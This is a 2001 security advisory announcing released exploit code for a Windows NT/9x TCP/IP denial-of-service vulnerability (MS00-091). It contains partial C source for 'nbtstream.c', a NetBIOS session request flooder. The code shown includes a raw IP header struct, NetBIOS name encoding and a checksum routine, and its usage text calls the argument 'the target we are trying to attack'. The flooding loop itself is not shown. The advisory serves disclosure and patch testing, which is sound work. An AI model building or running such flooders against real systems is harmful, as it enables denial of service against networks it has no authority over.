NetBIOS Session Request Flooder Exploit Code Released
22 May 2001
Summary
A security vulnerability in Microsoft's Windows TCP/IP implementation. The vulnerability allows a malicious user to temporarily prevent an affected machine from providing any networking services or cause it to stop responding entirely. The following exploit code can be used to test your system for the mentioned vulnerability. For more information about the vulnerability, see our previous article: Incomplete TCP/IP Packet vulnerability (Patch available).
Credit:
The information has been provided by 3APA3A.
Vulnerable systems:
Windows NT 4.0
Windows 95
Windows 98
Windows 98SE
Windows ME
Immune systems:
Windows 2000
Exploit:
/*
nbtstream.c - NetBIOS session request flooder
Tested to compile and work under FreeBSD
(c) by 3APA3A @ SECURITY.NNOV, 2000
3APA3A@security.nnov.ru
http://www.security.nnov.ru
See MS00-091 for details and patch
http://www.microsoft.com/technet/security/bulletin/ms00-091.asp
Thanx to DarkZorro & Error for discovering this problem independently
from Razor.Bindview
*/
struct ip_hdr {
u_int ip_hl:4, /* header length in 32 bit words */
ip_v:4; /* ip version */
u_char ip_tos; /* type of service */
u_short ip_len; /* total packet length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset */
u_char ip_ttl; /* time to live */
u_char ip_p; /* protocol */
u_short ip_sum; /* ip checksum */
u_long ip_src, ip_dst; /* source and dest address */
};
void usage(char *progname)
{
fprintf(stderr,
"Usage: %s <dstaddr> <dstnetbios> <srcnetbios>\n"
" dstaddr - the target we are trying to attack.\n"
" dstnetbios - destination NetBIOS name (random if not specifyed)\n"
" srcnetbios - source NetBIOS name (random if not specifyed)\n",
progname);
exit(1);
}
void printnbname (int pos, char *name){
int i;
for (i=0; name[i]&& i<15; i++) {
data [pos + 2*i] = (toupper(name[i])>>4 & 0x0F) + 'A';
data [pos + 1 + 2*i] = (toupper(name[i]) & 0x0F) + 'A';
}
}
void printnbrnd (int pos){
int i, c;
for (i=0; i<15; i++) {
c = biglet[random()%37];
data [pos + 2*i] = (c>>4 & 0x0F) + 'A';
data [pos + 1 + 2*i] = (c & 0x0F) + 'A';
}
}
/* This is a reference internet checksum implimentation, not very fast */
inline u_short in_cksum(u_short *addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits. */
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *) w;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
